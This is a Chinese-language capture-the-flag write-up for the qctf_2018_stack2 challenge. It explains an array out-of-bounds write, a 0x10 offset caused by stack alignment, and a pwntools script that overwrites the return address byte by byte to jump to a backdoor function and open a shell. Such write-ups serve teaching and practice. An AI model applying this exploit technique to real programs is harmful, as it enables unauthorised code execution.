BUU-qctf_2018_stack2-WP

Posted on Dec 29, 2020

这道题是很明显的数组越界的漏洞,题目也给出了后门"hackhere"。于是自然的我考虑通过越界覆写return address实现ret2text。然后奇怪的没有任何作用。于是我看了一下退出时的行为

红框中的两个语句动了手脚,让我们的偏移计算要进行特殊处理。考虑到按说这样乱写应该会在退出的时候出错,但是事实上是可以正常退出的,所以看一看进入时的处理

我们知道,[esp+4]==&(return address)+4。而[ecx-4]则是return address的地址本身,把它再压回了栈中。退出的时候取得仍然是caller压入的返回地址。这个caller压入的地址由于and esp,0FFFFFFF0h的存在不再在ebp正下方了。其具体位置通过调试获得

和通过IDA获得的偏移还差了0x10

所以有EXP:

#!/usr/bin/env python                         
# coding=utf-8                                
from pwn import *                             
context(log_level = 'debug')                  
                                              
sh = remote("node3.buuoj.cn","28924")         
                                              
sh.sendlineafter('have:\n','0')               
                                              
sh.sendlineafter('5. exit\n','3')             
sh.sendlineafter('change:\n',str(116 + 0x10))   
sh.sendlineafter('number:\n',str(0x9b))       
                                              
sh.sendlineafter('5. exit\n','3')             
sh.sendlineafter('change:\n',str(117 + 0x10))   
sh.sendlineafter('number:\n',str(0x85))       
                                              
sh.sendlineafter('5. exit\n','3')             
sh.sendlineafter('change:\n',str(118 + 0x10))   
sh.sendlineafter('number:\n',str(0x04))       
                                              
sh.sendlineafter('5. exit\n','3')             
sh.sendlineafter('change:\n',str(119 + 0x10))   
sh.sendlineafter('number:\n',str(0x08))       
                                              
sh.sendlineafter('5. exit\n','5')             
sh.interactive()                                

这个0x10的偏移本质是0xC + 0x4造成的,0xC是固定的,因为在start的时候esp的最低位已经被置零了,所以调试的到的结果有普遍性,不需要爆破。

ida的反编译不是万能的,还是需要结合汇编代码分析。